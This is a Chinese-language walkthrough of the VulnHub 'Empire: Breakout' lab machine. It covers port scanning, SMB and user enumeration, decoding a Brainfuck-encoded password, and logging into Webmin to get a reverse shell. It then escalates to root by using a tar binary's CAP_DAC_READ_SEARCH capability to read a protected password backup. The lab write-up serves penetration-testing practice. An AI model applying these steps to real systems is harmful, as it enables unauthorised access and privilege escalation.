Breakout

靶机下载地址:https://www.vulnhub.com/entry/empire-breakout,751/

外网打点

使用nmap -sn 10.0.2.0/24获取靶机的IP地址

image-20230613160024328

使用nmap -sC -sV -p 1-20000 -o result.txt 10.0.2.13获取主机的端口信息

image-20230613160158283

发现有139和445端口,然后使用smbclient -L 10.0.2.13查看一下

image-20230613160103804

但是无法进一步利用,访问http://10.0.2.13

image-20230613160224353

在源码里面发现

1
2
3
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.

这好像是brainFuck加密,进行解密得到密码:https://ctf.bugku.com/tool/brainfuck

image-20230613160354420

password:.2uqPEfj3D<P’a-3

然后使用enum4linux -a 10.0.2.13获取用户名

image-20230613160506628

因为这里也没有ssh,所以只能看看20000端口的服务了,发现是webmin的服务,使用刚刚得到的账号密码参数登录

image-20230613160724609

image-20230613160757625

然后在下面发现可以执行命令,进行反弹shell

image-20230613160821758

image-20230613160919225

image-20230613160926731

内网渗透

先升级shell

1
2
3
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo;fg;reset

image-20230613161433243

得到第一个flag

image-20230613161452038

提权

/var/backup/目录下面发现一个.old_pass文件,但是没有权限读取

image-20230613161613576

返回到根目录下,查看tar文件的文件类型

image-20230613161645230

使用getcap tar查看,发现是CAP_DAC_READ_SEARCH

image-20230613161713183

CAP_DAC_READ_SEARCH表示他可以读取系统中的所有文件,所以我们可以使用其来读取.old_pass文件

1
2
3
4
./tar -cf flag.tar /var/backups/.old_pass.bak	# 参数可以使用--help来进行查看
tar -xf flag.tar
cat var/backups/.old_pass.bak
得到密码:Ts&4&YurgtRX(=~h

image-20230613161906349

切换为root用户,使用该密码进行登录

image-20230613162034411